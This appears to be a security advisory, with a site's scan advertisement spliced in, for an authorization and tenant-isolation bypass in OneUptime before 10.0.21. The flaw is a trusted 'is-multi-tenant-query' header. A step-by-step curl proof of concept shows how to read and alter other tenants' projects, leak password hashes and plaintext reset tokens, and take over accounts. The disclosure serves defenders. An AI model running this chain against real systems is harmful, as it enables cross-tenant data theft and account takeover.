| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| oneuptime | < 10.0.21 | 10.0.21 |
| @oneuptime/common | < 10.0.21 | 10.0.21 |
A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.
Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.
This allows attackers to:
This results in cross‑tenant data exposure and full account takeover.
Root cause
The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.
CommonAPI.ts
if (req.headers["is-multi-tenant-query"]) {
props.isMultiTenantRequest = true;
}
BasePermission.ts
if (!props.isMultiTenantRequest) {
TablePermission.checkTableLevelPermissions(...)
QueryPermission.checkQueryPermission(...)
SelectPermission.checkSelectPermission(...)
}
When the attacker sends:
is-multi-tenant-query: true
the system skips all authorization checks including:
Additionally, tenant scoping is disabled in TenantPermission
Sensitive user data exposure
Projects marked with:
@MultiTenentQueryAllowed(true)
allow cross-tenant queries when the header is present.
The Project model contains a relation:
createdByUser
Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:
password
resetPasswordToken
webauthnChallenge
Reset token stored in plaintext
In the password reset flow:
Authentication.ts
resetPasswordToken: token
The reset token is stored in plaintext in the database.
During password reset:
/api/identity/reset-password
the server validates the provided token directly.
これらの製品をお使いですか?サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンIf an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.
Exploitation chain
This results in full account takeover.
Setup:
7cb77c45-c2e0-42b5-8a28-57aa0dec6e82)88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email [email protected]1. Read isolation bypass
curl -X POST http://localhost/api/project/get-list \
-H "authorization: Bearer <attacker_token>" \
-H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
-H "is-multi-tenant-query: true" \
-H "content-type: application/json" \
-d '{
"query": {},
"select": {
"_id": true,
"name": true,
"createdOwnerEmail": true
}
}'
Result: Returns both the attacker's and victim's projects:
{
"data": [
{
"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
"name": "Victim Project",
"createdOwnerEmail": { "value": "[email protected]" }
},
{
"_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82",
"name": "Attacker Project",
"createdOwnerEmail": { "value": "[email protected]" }
}
],
"count": 2
}
Victim project name is initially: Victim Project ORIGINAL
curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \
-H "authorization: Bearer <attacker_token>" \
-H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
-H "is-multi-tenant-query: true" \
-H "content-type: application/json" \
-d '{"name":"Victim Project EXPLOIT"}'
Result: Victim project name is updated to "Victim Project EXPLOIT" despite the attacker not being a member of the victim project.
curl -X POST http://localhost/api/identity/forgot-password \
-H "content-type: application/json" \
-d "{\"email\":\"[email protected]\"}"
curl -X POST http://localhost/api/project/get-list \
-H "authorization: Bearer <attacker_token>" \
-H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
-H "is-multi-tenant-query: true" \
-H "content-type: application/json" \
-d '{
"query": {"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23"},
"select": {
"_id": true,
"createdByUser": {
"email": true,
"password": true,
"resetPasswordToken": true
}
}
}'
Result: Sensitive user data is exposed:
{
"data": [{
"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
"createdByUser": {
"email": {"value": "[email protected]"},
"password": {"value": "faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9"},
"resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb"
}
}]
}
# Reset password with leaked token
curl -X POST http://localhost/api/identity/reset-password \
-H "content-type: application/json" \
-d '{
"resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb",
"password": "AttackerChosenPassword123!"
}'
# Login as victim with new password
curl -X POST http://localhost/api/identity/login \
-H "content-type: application/json" \
-d '{
"email": "[email protected]",
"password": "AttackerChosenPassword123!"
}'
Result: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.
Result: Victim project name is updated despite the attacker not being a member of the victim project.
This vulnerability allows a low‑privileged authenticated user to:
Because OneUptime is a multi‑tenant monitoring platform, this allows attackers to compromise any tenant account in the system.